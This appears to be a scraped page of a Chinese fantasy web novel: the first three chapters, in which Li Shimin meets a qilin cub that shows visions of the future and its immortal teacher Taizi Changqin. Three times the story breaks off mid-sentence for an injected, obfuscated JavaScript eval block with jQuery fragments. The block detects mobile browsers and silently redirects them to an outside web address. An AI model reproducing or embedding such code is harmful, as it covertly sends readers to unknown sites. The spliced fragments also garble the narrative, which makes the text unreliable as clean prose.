《和二凤陛下梦游天下》
1. 第 1 章
武德九年六月初三。秦王府邸。
夜漏三更,府内烛火摇曳,将窗棂上的竹影投得忽明忽暗。
李世民盘膝坐在榻边,案上的兵符与密函摊得凌乱。玄武门三个字像针一样,一下一下的刺着他的眼。
他抬手揉了揉发胀的额角,太子与李元吉的步步紧逼,早已把他逼得要做一个违反祖宗的决定。
一双温暖的手轻轻揉着李世民的前关,是观音婢。
李世民闻着观音婢身上熟悉的柔和的香气,不由得放松下来,靠在她的怀里。
“二郎不必担忧,”长孙氏轻声安抚道,“明日之事,顺天应人,必无波折。”
李世民侧仰着头看她,眼底尽是红血丝,声音沙哑:“若有万一……”
“没有万一……”长孙氏打断他,指尖下滑,抚着他的侧脸,掌心的暖意让李世民有些眷恋,“万事具备,此去自有天意护持,断无差池。”
李世民看着她沉静的眉眼,连日来的紧绷松了几分,“嗯”了一声后,倦意也随之而来,就这样躺在观音婢怀里睡去了。
可不过阖眼片刻,竟坠入了一个光怪陆离的梦境。
他梦见自己身处一片混沌的云海仙境,清越的琴音在四周环绕。
一个看不清面容、气息令人无比安宁的白衣身影在远处抚琴。
忽然,一个顶着两个小角、眼睛像流淌的金色岩蜜的幼童,咯咯笑着从云里窜出来,扑到他的腿上,仰着头,亮晶晶的眼睛一眼不眨地看着他,一点也不怕生。
李世民蹲下身,想问问他,他是谁,这是哪里。正欲张口,突然,幼童扯了扯他的袖子,指向下方,李世民顺着方向看去。
云海散开,赫然显出长安城的景象,但李世民看着不像此时的长安。这个城池更加宏伟繁华,百姓熙熙攘攘,一派盛世气象。
难道这是以后的长安?这幼童似乎想让我看看后世之景,难道我的决定是对的?李世民想着。
正在李世民思索着,画面骤然扭曲,盛世图景如琉璃般破碎,取而代之的是冲天火光、厮杀惨象、宫阙倾颓……一幅触目惊心的都城沦陷惨状。
李世民面色骤变,却发现自己怎么也动不了。幼童也吓住了,紧紧抱住他,金色的眼睛里满是害怕。
最后,一切破碎,幼童用稚嫩的声音焦急地对他喊了一句模糊的话:“记住……气运……琴音……”
李世民大汗淋漓地猛然坐起,心跳如鼓。他下意识的想找观音婢,扭头却发现窗外天色已冒微光,观音婢也不知何处去。
梦里的恐慌和那孩童的眼睛异常清晰,但具体细节已模糊不清,只留下一种沉重的不祥预感和一丝对那奇异孩童的莫名牵挂。
他想,大抵是压力过大,才做的这奇艺的梦境。俗话说,梦里都是与现实相反的,他安慰自己。
与此同时,流云境。
终年缭绕的白云雾气之下,黛青山峦若隐若现。
沿着青玉小径走入,两旁尽是被云气裹着的翠竹,竹梢挂着流动的霞光,宛如碧玉梭在银纱中穿行。
竹林深处,一棵需十人合抱的古木拔地而起,主干布满了沟壑与青苔。泛着微光的流云在古木周围旋转流淌,仿佛整片流云境的仙灵之气,都在它缓慢的吐纳之间循环。
时有白鹤单足立于古木低垂的枝丫,朱红的顶冠在绿意与白雾之间格外醒目。
太子长琴抚琴的亭台便倚着古木而建。琴音起时,竹叶随着琴音轻颤,绕着古木的微光仙气随之明灭,鹤翅的每一次舒展也压在了琴韵之上。
整个流云境仿佛一件随着太古清音而和谐呼吸的巨大生灵。
但——
这种意境高雅的景象已不复存在。
自从太子长琴的好友霄将自己的幼崽托付给他教养后,流云境的美好生活自此消散。
一想到那个混世小儿,翠竹似乎暗淡了几分,万年常青的古木的树叶飘落了几叶枯叶,仙鹤也不敢随意信步。
只余那小儿的肆意笑声。
太子长琴坐于静室,凤来琴横于膝上,指尖悬停,却久久未落。
屋外传来景颐张狂的笑声和急促的几声鹤鸣。
他不由得想起与这个幼崽初见的场景。
那时,长琴正于亭中抚琴,霄忽然来访,他行事向来潇洒不羁,一下子坐在长琴旁边,说自己感应天道,需与伴侣远游参悟一桩大机缘,或许千百年方归。
“吾族对后代,放养就是最好的历练。这小家伙刚出生不久,名景颐,劳烦老友你照看些时日,随便教教,别让他拆了家便是。”
态度随意,仿佛只是托付一只特别的灵宠。留下一些关于景颐“偶尔做梦会梦到些好玩的东西”的简单提醒和一本《麒麟育成指南(简略版)》便化作金光逃之夭夭,云游而去。
而彼时长琴还沉浸在抚琴之中,待反应过来,只看见一个麒麟幼崽坐在冠角上,啃着自己的前蹄看着他。
“啾?”幼崽歪着头,看着长琴,鼻尖轻轻抽动,似乎在辨认气息。
然后他眼睛一亮,看着面前长长的、银白的线,忍不住伸爪拨弄。
“铮——”一声刺耳的杂音。
幼崽被吓了一跳,猛地向后一缩,结果后退踩空,从琴身边缘滚落。长琴衣袖一卷,在它落地前稳稳托住。
小家伙惊魂未定,在长琴掌心瑟瑟发抖,那身金色软鳞蹭得他掌心微痒。
随即,它似乎被长琴身上清冽宁静的气息安抚,试探着,用微凉湿润的鼻尖,碰了碰他的手腕。
长琴将它举至与自己眼睛平行,面带犹疑:“你,叫什么?”
“啾?”小家伙听不懂。
长琴思索片刻,才勉强从模糊的记忆里挖出来一个名字,
“景颐?对吗?”
“啾!”
大概是的吧,长琴想着。
他挥手揽过一朵白云,将其变作柔软的云垫,把幼崽轻轻放进去。
自己则拿起那本简略版的指南,准备翻看一番。
幼崽安分了不到一刻钟。
它先是好奇地啃了口身下的云垫,一咬一口空,有些失望。然后又开始啃刚刚凑过来的瑶草,瑶草精大惊失色,连忙逃走。
“啾!”
它看着周围陌生而广阔的世界,满眼好奇。
它看向架着琴的琴台,试图攀爬上去,可惜爪子太软,爬了半尺就滑了下来,摔个屁墩儿。它也不气馁,转头去扑咬长琴曳地的衣摆,把自己滚成一团。
又对从古木透过来的光柱中飞舞的微尘产生了浓厚兴趣,扑了几下后,看到了自己的尾巴,又追着尾巴转了好几个圈,直到晕乎乎地撞上琴台腿。
“咚——”一声闷响。
幼崽呆坐在原地,用爪子揉了揉撞到的额头,金色的大眼睛里迅速弥漫上一层委屈的水光,仰头看向长琴,发出带着颤音的呜咽:“呜……”
长琴听到声响,放下书籍,俯身将它捞在掌心,指尖抚在它的额头,轻轻地用灵力舒缓它的疼痛。
然而,长琴断然没有想到,此后,自己的生活因自己掌心这个可怜的小家伙,变得翻天覆地。
自从小麒麟来到这里以后。
流云境内时常出现奇景:时而映出早已湮灭的古国市井烟火,时而掠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114011|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过从未见过的机甲模样的庞然大物。
境内仙鹤被吓得不敢落地,只能终日惶恐的盘旋。连那株被长琴以仙露浇灌了千年的瑶草精,都在某一日清晨,枝叶上凝结的露珠里,倒映出它自己枯荣轮回数百次的虚影,吓得它当场自闭了三日,叶片蜷缩,把自己团在一起。
因着这怪异景象,境内生灵皆央求长琴解决。
长琴翻尽了古籍,都没有找到解决之法,连霄给的育成指南也没有。
就在一筹莫展之际,天降救星。
彼时,长琴正以灵力修复一根被景颐当作磨牙棒啃的古木根,远处又传来仙鹤委屈的嘹亮鸣叫,显然某只小麒麟又在尝试新的飞行研究。
一丝极淡的、与众不同的清圣之气,如同涟漪般晕开流云境的雾气。
来者广袖博带,笼罩在柔光之中,正是通晓万物情理的白泽。
他并未客套,目光扫过略显纷乱的仙境,最终落在古木与缭绕的仙雾之上,眼中流转过无数星图般的推演轨迹。
“长琴,”白泽开口,声音温和,“你可知此境‘流云’之名与诸般异象,其来所何?”
他指尖虚点,空中浮现出此地千年前的虚影——那时并无古木,亦无如此沛然的仙雾,只有寻常的灵山秀竹。
“这株古木,并非土生,乃是一缕自天河中逃逸的光阴碎片,恰逢此地灵脉交汇,落地生根所化。”
白泽的指尖划过古木青铜色的树皮,那些沟壑中似有极淡的时光流沙闪烁,
“而弥漫不散的流云,实则是它无意识吞吐、逸散的光阴微尘,与本地灵气混合所致。此境一草一木,长久浸润,皆沾染了一丝极淡的时间特性。”
长琴眼神微凝,看向正在远处追着自己尾巴转圈、周身偶尔迸出细小火花的景颐。
“故而,”白泽继续道,
“此麒麟幼崽身负溯梦之能,其力本质亦涉及光阴。与此地环境相遇,非是巧合,倒似冥冥吸引。古木逸散的尘埃,如风助火势,会激发放大那幼崽尚未掌控的力量,导致其周身异象频生,难以收敛。”
他顿了顿,看向长琴,“长此以往,于幼崽心性稳固不利,对此境生灵亦是持续扰攘。”
“可有解法?” 长琴问,声音平静,却已放下手里的树根,忍不住起身靠近了白泽。
“有。”
白泽颔首,掌中浮现一片光幕,其上流转着难以名状的古老乐符虚影,
“《鸣岐溯音谱》。此谱之妙,不在杀伐,而在调和。调和万物生灭节奏,自然也能调和紊乱的时间涟漪。若能得之,以其韵律引导,可助幼崽梳理力量,安抚此地因光阴尘埃而过于活跃的灵机,使流云复归宁静滋养,而非助长躁动。”
他收起光幕,神色多了几分郑重,
“然,此谱早已散轶。我所知者,仅有部分安流章残卷下落,稍后可予你方位。至于全谱……”
白泽目光投向云海之下,那万丈红尘所在,
“据最后星轨推演,其核心篇章,乃至孕育此谱的鸣岐天音之根,很可能已随天道流转,坠入人间,与某一蓬勃兴起、气运汇聚的人道王朝深深纠缠。唯有在那片红尘最炽热、文明最昌盛之处,方有寻回并真正奏响全谱的可能。”
风过竹林,沙沙作响。
长琴从回忆中醒来,听到屋外的动静。他想,寻着部分安流章残卷之后,景颐的溯梦之力倒是调和了不少,但——
景颐太过活泼了些。
不过随着景颐慢慢长大,安流章残卷也渐渐难以调和它的溯梦之力,再者,为了流云境的生灵着想,是时候可以去人间寻找鸣岐谱全篇了。
2. 第 2 章
古木垂落的树叶在风中微微摇曳,流淌的微光仿佛感知到了离别。
长琴立于古木下,景颐正在树枝上蹦来蹦去,发出细碎的笑声,全然不知即将远行。
“颐儿。”长琴唤道。
幼崽立刻跳下树枝,化作一道金色小旋风般扑到他腿边,仰起头,琥珀色的眼睛里映着流云与天光:“师父!骑鹤鹤?”
“不骑鹤。”长琴蹲下身,与幼崽平视,“我们要去人间。”
景颐眨了眨眼:“人间?像梦里那样吗?有很多……大房子?很多人?还有好吃的?”
它曾从溯梦的碎片里窥见过零星的市井烟火。
“或许。”长琴的声音依旧平淡,却伸手理了理幼崽尾巴上蹭散的蝴蝶样式的丝带,那是景颐为了臭美,央着长琴在它尾巴上系个好看的丝带。
“那里与流云境不同。你要学会收敛。”
他取出一枚温润的羊脂玉佩,玉佩上天然纹路隐约构成一头酣睡的麒麟。
这是他昨夜用古木脱落的、最稳定的一片古木心,辅以安流章残谱的韵律炼化而成。
“戴着它,不可离身。”
长琴将玉佩系在景颐颈间。玉佩触体后,景颐周身泛起光芒,光芒散去后,景颐赫然变成了一个凡人幼童。
周身那些时不时迸出的细小金色火花,也立刻像被无形的罩子拢住,消散了大半。
景颐也不是第一次变成人形,只是往常觉得人形模样太过束缚,便常以麒麟模样玩耍。
他好奇地摸了摸玉佩,感到一种熟悉又安心的束缚感,像师父的琴音裹住了自己。
接着,长琴打开一只看似寻常的藤编书箱。箱内别有洞天。
最上层整齐叠放数套凡人孩童衣物,从素雅的细麻到精致的绸缎皆有,尺寸稍大,显然是预备着景颐成长。
衣物下,是一个个小巧的玉盒或油纸包,散发出各异的气息:有清心宁神的冰檀粉,有安抚惊悸的安魂香丸,有伪装用的、能让景颐金眸暂时显为深褐色的敛光露,还有一大堆各类耐储存的灵果蜜饯。
这是最重要的战略储备,用以在幼崽无聊、烦躁或闯祸后及时安抚,换取片刻安宁。
书箱中层是几卷人间地理志、风俗考略,以及最重要的,
那份指引《鸣岐谱》残卷大致方位的星图玉简。底层则静静躺着凤来琴,琴囊上绣着流云的暗纹。
长琴又拿出一个更小的、绣着瑞兽的锦囊,挂在景颐腰间。
“这里是零用,”他顿了顿,考虑如何解释,
“人间行走,有些东西需以银钱交换。若看到极其想要的吃食或玩具,可告诉为师。”
他尽量说得具体,避免幼崽对“想要”产生过于广阔的理解。
最后,他凝视景颐,目光中有严肃,也有淡淡的温柔:
“记住三条:一、玉佩不离身,保持人形;二、不可随意动用天赋;三、紧跟为师,不得擅自远离。”
景颐似懂非懂,但师父难得如此郑重,他用力点头,小手拍了拍胸脯:
“颐儿乖!跟紧师父!”
说完便忍不住去扒拉书箱,想看看蜜饯在哪个格子。
长琴由它去,自己则走到古木前,将一道蕴含安流章片段的守护琴音封入树干,以维持流云境在他离去后的基本灵机平衡。
又对远远观望的仙鹤与瑶草精微微颔首,算是告别。
准备停当。他拎起书箱,箱体立刻变得轻若无物。景颐自动爬过来,抱住他的腿,眼睛亮晶晶地看向结界之外,那翻滚云海之下的未知世界。
“走了。”长琴说。
他并未化作流光,而是如同寻常旅人,牵着景颐,一步一步,踏出了流云境的结界。
身后,云雾缓缓合拢,掩去翠竹古木。前方,人间山河,徐徐展开画卷。
山风拂来,已带着泥土与炊烟的气息。景颐深吸一口气,打了个小小的喷嚏,随即兴奋地摇晃长琴的手:“师父,下面有声音!好多声音!”
长琴“嗯”了一声,握紧了掌中温热的小手,朝着白泽星图所示、亦是红尘气运最为鼎盛喧嚣的方向,迈步而下。
流云,暂别;人间,初临。
——
贞观四年春,长安。
夜色方褪,天际将明未明。
李世民已于两仪殿中批阅了半夜奏章,此刻正凭栏远眺,舒展筋骨。晨风带着渭水的湿气,吹动他额前几缕未束紧的发丝。
忽然,司天监值夜的官员连滚爬入殿前广场,声音因激动而尖锐:
“陛下!天示瑞兆!终南山上空,有玄黄之气聚而成形,似龙非龙,似兽非兽,其状煌煌如神兽麒麟,又有清越弦音自九天而降,持续数息方散!此乃天佑大唐,盛世之兆啊!”
殿前侍卫、内侍皆露惊容,纷纷低声议论,面带喜色。
李世民却只是微微挑眉,目光投向终南山的方向,那里天色已恢复正常。
他沉默片刻,淡淡道:“星象变化,云气聚散,乃天地常理。传旨司天监,谨慎观测,记录归档即可,不必过度解读,更不可以此滋扰民间。”
他声音平和,却带着不容置疑的威严。司天监官员满腔热忱被浇了一盆冷水,喏喏称是,躬身退下。
内侍总管王德小心上前:“大家,毕竟是祥瑞……”
李世民抬手止住他的话头,转身走回殿内,只留下一句:
“国之祥瑞,在百姓安居,仓廪充实,在将士用命,边关宁靖。岂在区区光影形状?”
无人看见,他转身时,眼底掠过一丝极淡的疑惑。
方才那一瞬,当天际异象最盛时,他心口确实毫无征兆地悸动了一下,仿佛有什么极其古老、极其遥远的东西,与他产生了刹那的共鸣。但那感觉倏忽即逝,快得像是错觉。
他摇摇头,将这些怪力乱神的思绪抛开,重新专注于案头那厚厚的、关乎吏治与民生的奏折。
终南山深处,一处被无形结界笼罩的山巅,云雾终年缭绕,凡人难见真容。
长琴与景颐已在此隐居数月。结界不仅隐匿了他们的踪迹,也极大削弱了景颐无意识散发的溯梦对人间的影响。
长琴每日以安流章为景颐调理,助他适应化形,并学习控制力量。
景颐的人形是个约莫五六岁的孩童模样,一头柔软微卷的暗金色短发,头顶两个不明显的小小鼓包被巧妙地用发带装饰遮掩。
眼眸原本的眸色背掩盖成深褐色,皮肤白皙,穿着长琴用云霞与灵丝炼制的淡金色小袍,灵动非凡。他心性仍似幼兽,对山林里的一切充满好奇。
这日午后,长琴正在竹庐内研读白泽所赠玉简中关于《鸣岐谱》其他残篇的缥缈线索,景颐百无聊赖,便溜出了结界范围。
长琴允许他在附近安全区域活动。
很快,景颐发现了一只体型硕大、毛色斑斓的吊睛白额猛虎。
那老虎本是山中一霸,此刻却瑟缩在一处岩壁下,兽瞳充满惊恐,低伏着身躯,发出不安的呜咽。
在它模糊的兽类感知里,眼前这个看似无害的小人儿,散发着让它灵魂战栗的、属于顶级掠食者与神圣存在的双重威压。
景颐却很高兴:“大猫猫!”
他记得在某个梦境碎片里见过类似的生物,觉得威风极了。
他欢快地跑过去,想摸老虎的头。老虎吓得魂飞魄散,转身就逃。
景颐以为它在和自己玩“你追我赶”的游戏,更兴奋了,咯咯笑着追了上去。
于是,终南山麓出现了诡异一幕:一只惊恐万状的老虎拼命奔逃,一个金光闪闪的小孩在后面紧追不舍,笑声洒满林间。
与此同时,山脚下旌旗招展,马蹄如雷。
李世民率领文武百官及禁卫精锐,正在进行今年的夏苗。
是演武,亦是舒怀。他纵马驰骋,箭无虚发,眉宇间是开创盛世、君临天下的自信锋芒。
李世民一身劲装,胯下骏马神骏,正与几位心腹武将如李靖、尉迟敬德等,纵马追逐一头罕见白鹿。
众人追得兴起,不知不觉深入山林。
忽然,前方雾气转浓,景物似乎扭曲了一瞬。李世民胯下战马不安地打了个响鼻,众人也未太在意,只当是山间寻常雾气。
他们穿过一片古木林后,却愕然发现,周围环境静谧得诡异,鸟兽声息皆无,连方向感都变得模糊起来。
“陛下,此地似乎有些不对。”李靖蹙眉,手按剑柄。
李世民目光锐利地扫视四周:“像是迷阵。小心戒备,探查出路。”
就在此时,前方树丛剧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114012|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烈晃动,伴随着孩童清脆又焦急的喊声和猛兽的低吼。众人瞬间进入战斗状态。
只见一只受惊过度、近乎疯狂的猛虎从林中窜出,而它身后,一个衣着奇特、容貌精致如仙童的孩子正追着喊:“大猫猫别跑!陪我玩!”
而在李世民等人看来,这分明是猛虎欲噬幼童!
电光石火之间,李世民毫不犹豫,弯弓搭箭,动作流畅如行云流水。他臂力惊人,所用更是强弓利箭。
“咻——噗!”
一箭破空,精准无比地贯入猛虎脖颈。猛虎发出一声凄厉哀嚎,轰然倒地,抽搐几下便不动了。
景颐的笑声戛然而止。
他呆住了,看着刚才还在跑动的玩伴瞬间倒地,鲜血汩汩流出,生命的气息迅速消散。
他又转头看向面前骑着大马的几个奇怪的人。
几瞬息的死寂。
“哇——”
震天动地的哭声爆发出来。
景颐泪如泉涌,深褐色的眼睛里充满了巨大的悲伤和不解,他跑到老虎身边,想用手去捂那流血的伤口,又不敢,只能无助地对着老虎哭喊:
“大猫猫!醒醒!我的大猫猫没了!你赔我的大猫猫!”
那哭声纯粹而悲痛,穿透林雾。
李世民见幼童无恙,松了口气,下马走上前,温声道:“孩子,莫怕,猛虎已除,你安全了。”
他见孩子哭得伤心,以为是惊吓过度,便想将他抱起来安慰。
就在他的手即将碰到景颐肩膀的刹那——
异变陡生!
指尖触及孩童衣料的瞬间,李世民浑身剧震!仿佛一道惊雷劈入脑海,又似跌入无尽深渊。眼前的山林、雾气、死虎、哭泣的孩童全部消失不见!
取而代之的是,燃烧的宫阙!溃逃的士卒!异族的旗帜!百姓的哭嚎!
清晰无比,他看到了安西、范阳等军镇名号在战火中扭曲,听到了“禄山”、“庆绪”等名号在惨叫中被呼喊……
大明宫的瓦当在眼前碎裂,太极殿的匾额轰然坠落。
那是一种王朝脊梁被折断、文明华彩被践踏的、深入骨髓的惨痛与绝望!
“呃啊——!”
李世民闷哼一声,脸色瞬间惨白如纸,额角青筋暴起,仿佛被无形的重锤击中灵魂,整个人摇摇欲坠,全靠强大意志力才未倒下。
他想起来了,玄武门之变前夜,那个混沌的梦境,那些被刻意遗忘、模糊的梦境后半段,此刻被鲜血与火焰重新填满,变得无比清晰、无比确信!
“陛下!” 尉迟敬德与李靖大惊失色,抢上前扶住他。
李世民勉强睁开眼,看向因眼前人的动静抬起头的幼童。
刹那间,李世民本就头痛欲裂的脑袋更上一层楼。
一双深褐色的清澈见底,却又仿佛倒映着万千星辰流转。
这面……
是那个梦里的奇异幼童!
虽然他不知为何这孩子的眼睛与梦中不同,但多年来,梦里孩童那张脸与这孩子别无二致。
那句破碎的“气运……琴谱……”叮嘱,如同烙印,深藏心底。
他一度以为那只是压力所致的幻影,或是某种天命启示的抽象象征。
万万没想到,竟在此地,如此真实地重逢!
但景颐还深深地沉浸在失去玩伴的悲痛之中,只抬头看一眼,就继续嚎哭了。
“陛下!”李靖和尉迟敬德看着李世民神色僵硬,急急呼道。
几乎同时,一道白影如流光般骤至,凛冽剑气直指李世民眉心!
太子长琴面覆寒霜,眼中尽是怒意与警惕:“何人在此!安敢惊扰我徒!”
“保护陛下!”
李靖、尉迟敬德肝胆俱裂,悍然拔刀挡在李世民身前,尽管持刀的手在对方那非人的威压下微微颤抖。
景颐见到师父,哭得更委屈了,跑过去抱住长琴的腿:
“师父!他杀了我的大猫猫!哇——”
长琴剑尖微颤,看了眼哭得撕心裂肺的徒儿,又看了眼地上毙命的老虎,以及眼前这明显是凡人帝王将相的几人。
尤其是被护在中间、刚刚从惊骇幻象中勉强挣脱、眼神还残留着巨大震撼与迷茫的李世民。
误会……似乎有点复杂。
3. 第 3 章
不过此人竟能触发景颐的溯梦之力?
长琴压下怒意与疑虑,剑并未收回,声音冰冷:“此处清修之地,常人何以闯入?”
李世民此时已从最初的惊骇幻象和梦中之人来到现实的奇怪感觉中勉强定神,那些烽火景象虽仍烙在心底,但多年戎马与御极的历练让他迅速戴上镇定面具。
他起身摆手示意李靖和尉迟敬德退至身后,看着来人通身不俗的气质和非同寻常的面貌,拱手,语气诚恳而不失威仪:
“在下李世民,与友来此游猎,不慎误入此地。方才见猛虎似欲伤及孩童,情急出手,实为相救,绝无他意。惊扰仙长与令郎,深感歉意。” 他语气略带歉意,以图缓和气氛。
他的目光落在仍在抽噎的景颐身上,又迅速瞥了一眼地上老虎的尸体,想起孩童那悲痛纯粹的哭声,心中不免也有一丝歉疚。
或许,那虎与这孩童,真的只是玩耍?
还有这孩童,真与那梦中之人是一个人吗?李世民暂且压下心中疑虑。
长琴审视着李世民,能感觉到对方身上那浓郁的人间帝王气运,也看出他言辞中的诚恳与那深藏眼底的惊疑不定。
他沉默片刻,终是缓缓收剑。
“既是误会,此地不宜久留。”
长琴抬手,一道清光拂过,林中雾气似乎稀薄了些,隐约显出一条小径,
“沿此路下行,不出三里,便可出得此山,回到尔等来处。”
李靖、尉迟敬德松了口气,但仍紧握兵器,警惕未消。
李世民却站在原地未动。
他脑海中那烽火长安的景象挥之不去,心脏仍在为那幻象中的惨烈而剧烈跳动。
又一次出现,这绝非寻常噩梦或幻觉!
这孩童,这白衣仙长,这莫名闯入的结界,还有那触及孩童时匪夷所思的所见……
这一切都指向一个不可思议的可能。
一个或许能解答他自登基以来最深忧虑,甚至可能关乎大唐国祚的秘密,就在眼前。
冒险?帝王不应轻易涉险。但若是关乎天下气运、兆民祸福呢?
李世民眼神变得无比锐利和坚定。
他忽然道:“仙长,在下射杀这虎,惊了孩子,心中着实过意不去。观这孩儿似受惊吓,在下略通安抚幼童之术,不知可否……”
他顿了顿,看向景颐,眼神真挚,
“让在下稍作弥补,待孩儿平静些再走?也好确认他是否无恙。”
理由合情合理,姿态放得较低,且以关心孩童为切入点,令人难以断然拒绝。
长琴看了眼死死拽着自己衣角、眼睛红肿却偷偷打量李世民的景颐,略一沉吟,点了点头。
“可随我来。勿生事端。” 他警告地瞥了李靖二人一眼。
李世民随即对李靖、尉迟敬德道:
“你们先行返回,告知外面朕平安,稍后便归。朕陪这孩子片刻。”
“陛下!不可!”两人大惊,这白衣人神秘莫测,岂能让天子独留险地?
“无妨,仙长在此,能有何事?速去。” 李世民语气带着帝王的不容置疑。
两人无奈,只得再三嘱咐,忧心忡忡地沿小径离去。
李世民跟随长琴与景颐,穿过几重迷蒙雾气,眼前豁然开朗。
山巅竟有一片清雅竹庐,古松盘虬,流水潺潺,灵气氤氲,宛若世外仙境。
景颐回到熟悉的环境,又被师傅牵着,情绪稍稳,但依然闷闷不乐,时不时回头看一眼被留在山林里的大猫猫方向。
长琴将景颐带到庐前石台坐下,自己则取出一张气息古朴的七弦琴。
“颐儿,静心。”
他指尖轻拨,正是那曲安流章。清越宁静的琴音流淌开来,仿佛山间清泉洗涤尘嚣,又似和风拂平涟漪。
景颐果然渐渐安静下来,依偎到长琴身边,眼皮开始打架。
李世民静坐在一旁的石凳上,默默观察。此景倒又与梦中之景重合。
琴音入耳,他竟也感到一阵久违的宁神静气,连日处理政务的疲惫似乎都被抚慰了些许。
他注意到,那孩童对琴音依赖极深,而那白衣仙长的琴艺,已超凡入圣,琴音中蕴含的平和力量,绝非人间乐师所能及。
更奇异的是,他心中对那孩童竟也莫名生出一丝亲近之感,仿佛对方身上有什么气息隐隐与自己相合,不过大抵也是从前在梦中有过一面之缘。
而景颐在琴音安抚下,对李世民似乎也不再害怕,偶尔还投来好奇的一瞥。
长琴一曲终了,景颐已靠着他昏昏欲睡。
李世民见状,适时上前,声音放得格外温和:
“仙长琴艺通神,令人叹服。孩子看来困了,若不介意……”
他试探着伸出手,姿态放松无害,“在下曾哄过自家孩儿,或可一试?”
长琴看了眼已然半梦半醒、对李世民并无排斥的徒儿,又见李世民眼神清澈坦然,略一颔首。
李世民小心地将软绵绵的景颐接过来,抱在臂弯。
景颐身上有淡淡的、仿佛阳光晒过青草和暖玉的清新气息。他调整了一个让孩子舒服的姿势,轻轻拍抚,低声哼起一段模糊却柔和的调子,是幼时阿娘哄他入睡时哼的调子。
景颐迷瞪着眼,看着抱着自己的人,糯声问道:“你是谁啊?”
李世民看着景颐挣扎在睡意与好奇之前的神色,不由觉得好笑。
他腾出一手,捏了捏景颐柔嫩的脸蛋,轻声笑道:“我姓李,叫我李叔叔就好。”
“李叔叔……”
景颐得了解答,在熟悉的琴音余韵和这陌生却令人安心的怀抱与哼唱中,彻底放松下来,小脑袋靠在李世民肩头,呼吸变得均匀绵长,竟是睡着了。
长琴眼中掠过一丝讶异,但未多言,只是静静调息。
李世民抱着幼童,坐在石凳上,山风轻柔,夕阳余晖给山巅镀上暖金色。
连日劳累加上琴音宁神,他竟也感到一阵倦意袭来。
不知不觉,他也闭上了眼睛。怀中小孩的温暖,山间的静谧,让他紧绷的神经松弛下来。
然而,这份宁静并未持续太久。
睡梦中,李世民并未再次看到那烽火连天的长安,反而看到了一个极其真实又令他头皮发麻的场景:
是次日清晨的太极殿!他正襟危坐于龙椅,听着朝臣奏事。
忽然,魏征出列,手持笏板,面色肃然,开始就他昨日“于秋狝中擅自离队、久出不归、涉险林莽、罔顾安危”之事,引经据典,滔滔不绝地进谏!
那言辞之犀利,逻辑之严密,态度之刚直,唾沫星子几乎要隔着梦境喷到他脸上!
他甚至能“听”到魏征那洪亮的声音在殿中回荡,感受到满朝文武或同情或无奈或看热闹的目光,以及自己那混合着尴尬、恼怒又不得不强忍的复杂心情……
这明日之忧比那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114013|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遥远的战火更让他瞬间惊醒!
“嗬!”
李世民猛地睁开眼,倒吸一口凉气,额角见汗。
几乎同时,怀里的景颐也剧烈一抖,“哇”地一声大哭起来,比之前更凄厉:
“师父!师父!有坏人!好多唾沫星子!淹死颐儿了!呜呜呜……好可怕!他说个不停!颐儿不会游泳!”
小家伙手舞足蹈,仿佛真的要被谏言的洪水淹没,显然也在刚才的梦境共鸣中,看到了魏征进谏的可怕场景。
长琴瞬间闪至近前,将哭得打嗝的景颐接回怀中,看向李世民的眼中疑问与警惕更盛。
李世民惊魂未定,看着在长琴怀里委屈大哭、描述着“唾沫星子淹人”的景颐,又想起自己刚才那个真实到可怕的“魏征谏言梦”,一个惊人的猜想如闪电般划过脑海:
那烽火长安不是偶然,这谏言噩梦也非寻常!是这孩子的缘故!触碰他,或靠近他入睡,便会坠入某种预见或共感之梦!
此时,天色已彻底暗下,山间升起凉意。
长琴轻轻拍着景颐后背,注入一丝温和的灵力安抚,对李世民道:
“今夜已深,不便下山。西侧有间空置竹舍,可暂歇一宿。明日再行离去。”
语气虽淡,却不容商量。
他需要弄清徒弟身上发生了什么。
李世民正求之不得,立刻拱手:“多谢仙长收留,叨扰了。”
是夜,景颐在长琴的安抚和又一曲轻柔的安流章后,终于含着泪花沉沉入睡。
长琴为他掖好被角,走出内室,来到外间。
李世民并未入睡,正站在窗前,望着窗外皎洁的月光和云海,背影显得沉重。
听到脚步声,他转过身,脸上已无白日的温和或惊骇,只剩下一种深沉的凝重。
“仙长,”他开门见山,再无丝毫隐瞒或借口,
“今夜,朕须坦言。朕并非第一次见到令徒,四年前,我做了个梦,梦见这孩童和我看到了我从未见过的烽火长安之景。
“今日在山林,又一次遇见令徒,我触碰他后,又看见了那个幻象,只不过,这次更加清晰、感受也更加真切。战火焚城,长安陷落,似是异族叛乱,国祚动摇,一片惨状!”
